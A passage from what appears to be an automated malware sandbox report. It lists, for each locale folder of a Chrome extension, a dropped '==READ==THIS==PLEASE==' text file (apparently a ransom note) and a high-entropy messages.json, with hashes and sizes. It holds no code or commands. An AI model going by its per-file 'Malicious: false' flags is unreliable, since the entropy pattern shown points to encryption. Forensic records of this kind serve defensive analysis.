Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.655762306345167
Encrypted:	false
MD5:	C0A0CC5832CCEF4D810A2D332B63CD2F
SHA1:	47CDFED8A256C6433B9A335B90185555E7E2DF6E
SHA-256:	3095A373AAE247B23BB2937E386337CFD51C5E65D00D8FCA899B4C647B5A7807
SHA-512:	043CC0442A294ADDCC5C420140224EDAF0F1BF57ADFF6518F052D7C5C2482A63822CDFA1BF738B141E376E04877736209A8908924769ABDB699FFC60CBA459EA
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.714672256676968
Encrypted:	false
MD5:	ACAA5A46BF8BCD5D11479C938F005884
SHA1:	7CE6CD940DED04A844AEB84BFACFAEC8DC3D6079
SHA-256:	A6540FC11CF53A11175BA90150DF28C11277DC48E5DCD22A83E58B57A635A552
SHA-512:	714DE67394347AD822D31867136404FFDCA3CAE12F9D67FA04D14E1C91A8F067437A9AFDAFF865981582751B99D6ADAB61BC720BE74D9E574A8CE9966AB79E19
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.691571686044876
Encrypted:	false
MD5:	702F1AD9A09E7EF1200C3934FE36A96C
SHA1:	4D410957F0591B61340F95BC46268A679B7F18E0
SHA-256:	09A4C522956BC73BEDE8EAADA5318ADC0DA8E06FBA284639D4DB7C7D3B219D30
SHA-512:	3BD604CC89FFD7263D7D5F32008BC0F82F9A14EEF06A74A4962F9B226E819AC1F666C8F748D890642F7F6E5C07E042243EED8AD6A0B7A65D7DDD60E623E9A2C3
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687062166890428
Encrypted:	false
MD5:	33BEDADDACA084F6EBA56D201119848F
SHA1:	89FC7AE028227B49E035F234CD3491B3C04D0DA0
SHA-256:	3EF78ACAA778B849A583A010AAB6656C743A0A68278F1F20FAC87848861F27B6
SHA-512:	1AB965CB2357B638C8472E0E5F3F99CFAFB3FB50A95D67060A4C6D45D4881533753160FB04007E3DD6F435E38360F124C732CFF4D7CCA16A6402FD27AA269231
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hu\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.643591458240421
Encrypted:	false
MD5:	BE60C1CE0AEB65D505DDEF3C01D1B0E4
SHA1:	49F45EF11C26661D1329EDE6AE64DC881B306B62
SHA-256:	CC8B2E7BF7FE6723520FFACCFC264DD708B6D7D91B3FA4B840E86DF693CE73BF
SHA-512:	51EFB0BC553DD2235A046BBA0C6C99B56FA133D83550BF00E0D50A0F71910490D9D7E4A1BCBDDD36E1A19A09BD81B9507C8178361E2F6D675CEF96E1D01F989D
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\id\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.71644655183163
Encrypted:	false
MD5:	36ECF4FE1273DAC5BEC07DE8FCBC81A6
SHA1:	32EDB7E0B11F25E2F0EAFC10F2BF0FC4902C335B
SHA-256:	0838A382E7FB7408ACC1A1CB08B47855B717171548449E585C62EEFEA40E9EDA
SHA-512:	1C68BB2FE58C62F94E032713615B1E30B721FC81835545D0B15053DA6B9E8630B6663D06A2F777B8B6424877AF8E953914511A2CD75527E0A4995893723FAF09
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\it\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697770842215268
Encrypted:	false
MD5:	E49489682CB33C75AF5F474B7395B2D7
SHA1:	4E73000C87AD40DC89C2559CAF3EA194571C9081
SHA-256:	149270AAC2F896F8F55BD6A1E173574D2BEBDA56FE98F91C54CDD6C61D8B2A46
SHA-512:	7228AD264E6AF5654FC0EDD48DA75680DB45DEF183086660904EA1197C60089FE4962CB0C075701AD2B58EFF5A3D177AE3C9B922158B132402B4F34528C710B8
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ja\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.684600215433738
Encrypted:	false
MD5:	C6BB41AA6A96663827D714AB6D97ABBC
SHA1:	21954E8D4DA5BA823F1164F77C2D3806A8045327
SHA-256:	D3C221366A41E94CD37A75ADA1912878B8DE9D712A4A80F25E7DFD0230CF63A2
SHA-512:	A07FD2148E4BC279A24F7E8BCB3978BC8A9A7477A9A7858F0EC5AA5FB5362508BF1132614A0732B5BB8537106EDCAE59AF1827AFEB7DCB0FA1506F725D733C76
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ko\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.665581640792385
Encrypted:	false
MD5:	95C69E39DD04A6F0CCCC1617AAE5A75D
SHA1:	4B2A8265A7068A7707CDB7BB249B1562291FD429
SHA-256:	BE8BBBF6E315882545AAD1FD67F288296B5965B9256C4E156908DF1ABBC89C53
SHA-512:	472DBB54EBE487E176E57FC5EC3A101F8236179E453631B45B3DF413D1E9F5F5CF99302908A940779AA814993CF2E0F9DF9821C443DF3C97AF851E8790D17F6C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lt\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687247667316949
Encrypted:	false
MD5:	2FD5011967EC7DE8DDE0519178608EDF
SHA1:	A7D95ADCE8B848A7ECA5BBDF01E85010D02840D0
SHA-256:	2828440FA40A49975C7C0CDA66069E15B9AC96C5BA54AE89A5E1494B29274C62
SHA-512:	08D3CAA1DD603F37A205F3C763043EF0428E951289E06C980D3CD90CA9FF5DC542BBB3E09DCFBB38F49E0CE4FCA40287CC3BE09B7920F1756F0744A461656FFE
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lv\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.691646830645904
Encrypted:	false
MD5:	5C905E5215DC2324E649ACDAE362421B
SHA1:	319AEA2BC5455824B62E9920B28A9650BFD993FB
SHA-256:	9EDBB23CE7DC2C2BCE011077F112CC3E050F9FC4DB852A4900F34607289F840F
SHA-512:	4C9067055BE64AE6BB6154BE22F4E043020C3468F8152B91425F271121CAB16DEF286CCCA9FD8CADA66E2792AA2E73327FBEC4C70C97B353D921DDAAAF7BC97A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\nl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.709542725243095
Encrypted:	false
MD5:	E8B8494ECE41875B38AB8F7A7F3FA9A2
SHA1:	986E41193A966766916F5E337B9BAD907D5EDD03
SHA-256:	176144F0238D4DA56D6CC966E9B5113D1DBDF82B748E8E8F81F33562FF4AE224
SHA-512:	41C02A9FF2E74829F67C5937828F3F44D5B1A12062E2F1686B3783CCDA606345C1D55CFED5E9D30764E99102822780855C1D92C59DEF3638B2C15451457749D0
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\no\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.645877340834632
Encrypted:	false
MD5:	EDBCFCB8877A3A9C75A9112BF0F896AA
SHA1:	163AF417FA39AF091DE6A1E1E8ED6B8D1676CF40
SHA-256:	765F06CBFD0F9ABF6986AC9574EECFB19353797898FE6B0938B3B169940AC6BA
SHA-512:	8AA3E39A345A057A395B8F8CCDFC7DFA8655FB6CBC4A4FFEC149490A73467491DAFA6C7F9EB87E451BA3B383876E2F9AEF53FCCF919835776E2EB35EED1746E6
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.654656133261456
Encrypted:	false
MD5:	3219B63A50FED35DAC715E018E5F6F19
SHA1:	91158F21515C7153F9609D4D0FFFFC2BA5A9C745
SHA-256:	BEA25FAECC11CFCA6B5303D6D20544B5F4CCCDB98914CF800C233EB6BC465834
SHA-512:	6D824876289DA7764735FFE3066804E73C7E8549FF951AB5D6D4535C2F0CED240F6429D8AEE2E99B749B775E6DECB652F7CEC08969E09FF65183EE26E6A175FF
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_BR\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.641960545572262
Encrypted:	false
MD5:	192657666934C79038A6A3BF76BF3072
SHA1:	893257C0A4260336735C643257A5B718ECD13570
SHA-256:	09A881235B47549F9E366EF0BDA31406C80A9D51E58ED6B6426035D4F49F0DD9
SHA-512:	ED80A763E2674B6D98A008A12A7220949A6CD67A516C056E018FB941AC9B66283BA4D1C20047FEB00A3418C3DDC33127DC630FFB2D596F5C5A6729E9C7B87229
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_PT\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.683886861444931
Encrypted:	false
MD5:	284D21173A53B366691C2BD388D37256
SHA1:	2ADC57FFDC4E16483E67054D8335B9F19C8E99DB
SHA-256:	8EAD09117850F358F55C1ED3BD836F1E583322ACB642ACC7423AC26A9C868121
SHA-512:	B3DDF46D9A6E1C855659A610A76710B8B7AAA23F15D3220AF941ABA0F5A5653F02C73AA287D0FB964D18FB035F3002FCA16E99555E1845313CFE5B40E6A7E216
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ro\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.720876711388652
Encrypted:	false
MD5:	D65E6B5511057202CCCC1DB4F17901BA
SHA1:	7562930910F1213ED1A08190CE769FAAE8486CBD
SHA-256:	2F3F5119A36FD2A89BF0934C907A086D0A9E5F88B55713FE63FF035770209E70
SHA-512:	2CB6F3A90C12A94D9825517E57911F4164997EF8EF3DD6A6B888F32C0EC9B44C4CB395972279E6A9785DB2415EEC2C17B772E5A9D311F4CA91A915409EF4250A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ru\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.692662775998084
Encrypted:	false
MD5:	FEC255AD0E6240EEECA757C85BA04B55
SHA1:	BB8F52144BA694BD0AE556D693D7C0B0A8D93A81
SHA-256:	6A418ED3B471988E7696AE85D5516116C9483E1113B95DA715376DD1995C2F2E
SHA-512:	F7260AE1A12859F8315FF15FC2E5E35608FA5830751B02A4D90395FA95F24DF1A0150E8A1AB2157D0871FBB150D0166702E9F53C79D931502C059B5E7146CE84
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\se\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\se\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6976229911545175
Encrypted:	false
MD5:	4E9635076A0FD59B796683FA1E1CE9B3
SHA1:	F0E3AF6E1D118ECCAEB0258663CD23193048E650
SHA-256:	CCA587FBA1AA6F3B5EE5059DB07C5EAEF3164DF8CAC87F1A0CA87A80EFB7D7AA
SHA-512:	3B317F8DC1EF2139AEEF996F30D78B91E997FB039C388506B255CAFB30DAFEEF3ECF8D385D6E833029483624EA1B96D5BA39BEBA2A02B4409BC0D1B7E4633694
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.700561082722116
Encrypted:	false
MD5:	A77B9C272417C8FCCCCA1AC288D574D4
SHA1:	8597645325564AD40BEAADA1B81CC74D3EE72E59
SHA-256:	C0E8126E35E9BCD0B35F9CE2B3434AD14B858A764D67BA6D29819FCB492998E8
SHA-512:	3FF292C7F3A1AE138DA3A9A165EE765188955FF3ABD1512FC19086396D0D9EA1BDA51AAB7ED2CD9DA13A99F1B075E23A67E49D803A3D7CBE5F89BFFADFFC9F5C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.644200855963585
Encrypted:	false
MD5:	8BBD18BD7F72E05CF49127F9696813E4
SHA1:	04D53A679E0BD72B58D39B91B37D77446603A91A
SHA-256:	4D8913A1CFC77F3CD23F43559A723BD4DB0F4C66517E84454DA7FEDEC664DFBE
SHA-512:	7199BCDA49640D9EF68D272404EF2FDFFB5745C9F70B4B6B52F517739E48CE544701413736491BA76CF2612D1C7E5BA80490301E27F3E03D1AD441A49C582BF1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
